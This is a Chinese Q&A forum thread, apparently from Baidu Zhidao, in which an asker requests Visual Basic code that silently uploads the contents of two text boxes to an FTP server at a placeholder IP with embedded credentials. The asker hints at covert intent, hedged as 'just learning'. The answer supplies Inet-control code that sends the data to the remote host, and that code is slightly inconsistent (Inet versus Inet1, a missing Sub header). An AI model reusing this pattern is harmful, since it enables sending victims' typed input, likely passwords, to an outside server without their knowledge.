上传text1.text和text2.text到ftp

来源：百度知道 编辑：UC知道 时间：2024/09/21 14:49:18
按一下command1就行了
IP 111.111.111.111
帐号 22222
密码 33333
或者直接上传到ftp://22222:33333@111.111.111.111/wwwroot/
最好不要覆盖的
呵呵！你知道我要干什么了吧
放心，我只是学习，拿自己做实验就完了
可以发信息给我，我会多加4倍的分或者更多 绝对
下面那个代码不行啊
试过了

很简单啊。
得用一个叫inet的控件

现将text1.text和text2.text用print写到指定的函数文件里

然后在程序初始化函数中加入
Inet.Protocol = icFTP
Inet.RemoteHost = "111.111.111.111" 'ftp服务器地址
Inet.RemotePort = 21 'FTP默认端口
Inet.UserName = "22222" '用户名
Inet.Password = "33333" '密码
这些其实都可以直接在属性窗口里改的

下面是command1的事件
Inet.Execute "", "PUT 写入的文件地址 /adfile/文件名"
'例如Inet.Execute "", "PUT c:\aaa.txt /adfile/aaa.txt"
Working = Inet.StillExecuting
'Working变量检测是否上传完毕
Do While Working
Working = Inet1.StillExecuting
DoEvents '将控制权交给系统，避免循环死机
Loop
msgbox "上传完毕!"
End Sub

把text1和text2转化TXT文件（或其他文件）上传